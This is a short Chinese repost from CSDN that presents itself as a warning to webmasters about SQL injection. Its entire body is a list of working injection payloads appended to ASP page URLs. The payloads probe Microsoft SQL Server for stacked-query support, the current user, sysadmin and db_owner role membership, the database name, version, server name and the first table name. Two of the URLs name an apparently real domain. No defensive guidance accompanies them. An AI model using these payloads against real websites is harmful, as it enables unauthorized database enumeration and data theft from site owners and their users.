站長注意SQL 注入一些常用語句

站長注意SQL 注入一些常用語句

作者:aivii 來源:csdn  

是否支援多句查詢
http://www.xxx.com/shownews.asp?id=51 declare @a int--

是否支援子查詢
http://www.xxx.com/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0

返回使用者名稱
http://www.xxx.com/shownews.asp?id=51 And user%2Bchar(124)=0

目前使用者是否為 sysadmin 固定伺服器角色的成員。
http://www.xxx.com/shownews.asp?id=51 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1

PS:0x730079007300610064006D0069006E00 = sysadmin

目前使用者是否為 db_owner 固定資料庫角色的成員
http://www.xxx.com/shownews.asp?id=51 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))%2Bchar(124)=1

0x640062005F006F0077006E0065007200 = db_owner

返回資料庫名
http://www.xxx.com/shownews.asp?id=51 And db_name()%2Bchar(124)=0

作業系統和SQLserver版本
http://www.99568.com/shownews.asp?id=51 And @@version = 1

本機伺服器名稱
http://www.99568.com/shownews.asp?id=51 And @@SERVERNAME = 1

http://www.xxx.com.cn/Content.asp?NewsID=1077  And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一個表名